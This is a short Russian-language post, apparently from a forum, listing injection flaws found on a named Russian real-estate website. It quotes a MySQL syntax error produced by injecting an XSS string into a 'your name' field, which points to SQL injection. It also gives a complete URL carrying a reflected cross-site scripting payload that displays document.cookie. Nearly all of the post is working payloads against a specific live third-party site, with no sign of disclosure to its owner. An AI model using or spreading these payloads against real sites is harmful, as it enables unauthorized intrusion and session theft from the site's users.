уязвимо : ваше имя
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';">alert('XSS')','177','a4c0338947c01a38489d4e0e7 d45ad06','2010-04-19 03' at line 1

http://norieltor.ru/search/offer=1&p=3&city=7700000000000&o=2&r=1&ml=1&pl='>" ><script>alert(document.cookie)</script>

Что смог нашел.